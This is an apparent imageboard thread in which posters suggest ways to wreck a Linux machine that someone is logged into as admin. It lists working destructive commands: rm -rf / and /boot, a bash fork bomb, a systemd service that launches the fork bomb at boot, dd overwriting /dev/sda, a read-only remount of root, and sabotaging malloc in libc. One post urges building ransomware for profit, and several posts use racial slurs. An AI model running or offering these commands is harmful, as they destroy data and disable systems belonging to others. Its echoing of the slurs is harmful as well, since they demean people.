quick

>>58470032
rm -rf /

>>58470040
idiot, --preserve-root is enabled by default
>>58470032
just do rm -rf /boot it will delete boot loader and kernel

 :(){ :|:& };:

in bash

>>58470050
>not using gentoo
you are like a little baby

 echo "[Unit]\
Description=Coolbeans\
\
[Service]\
ExecStart=":(){:|:&};:"\
\
[Install]\
WantedBy=multi-user.target\
" > /etc/systemd/system/coolbeans.service

then

systemctl enable coolbeans.service

> they are helping him

what if he is in your bank account retards.

>>58470032
dumb frogposter

>>58470175
Any bank worth a shit runs Windows, retard.

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387KB, 1500x1600px

>logged in as admin
>Linux

mount -o remount ro /

>>58470032
poweroff

>>58470209
Shit
mount -o remount,ro /

>non destructive btw

>>58470136
Clever and devilish

>>58470209
No point

visudo
add Default insults to list.

>>58470247
You lack imagination.
Shit doesn't work properly and there are access errors, they go to investigate and see that / is mounted ro, the first thing they assume is that the filesystem is hosed. Its a good prank.

>>58470032
>how do I fuck it up?

Try to do something productive with the machine and it'll do it for you.

>>58470488
thanks for the reminder

>>58470032
dd if=/dev/zero of=/dev/sda

>>58470032
nonononon wait!

overwrite all disc space se they cant recover

fucking build or rip some ransomware written in python and make a nice profit

>>58470060
>>58470136
what does this do?

>>58471164
it prints smileys with nigger lips into terminal

>>58470032
Modify libc so that calls to malloc randomly fail a small percentage of the time.

That will be fucking brutal to debug.

>>58471178
Topkek

>>58470050
>using new and untested versions
LMAO

>>58471178
>using the smiley with the nigger lips.

>>58471164
Spawns a cancerous process that keeps splitting itself. The number of processes can quickly overwhelm the kernel and lock up the machine. Some systems may have per-user process count limits to prevent this.

The longer piece of code configures the above "fork bomb" as a system service. This is clearly the proper way to use systemd.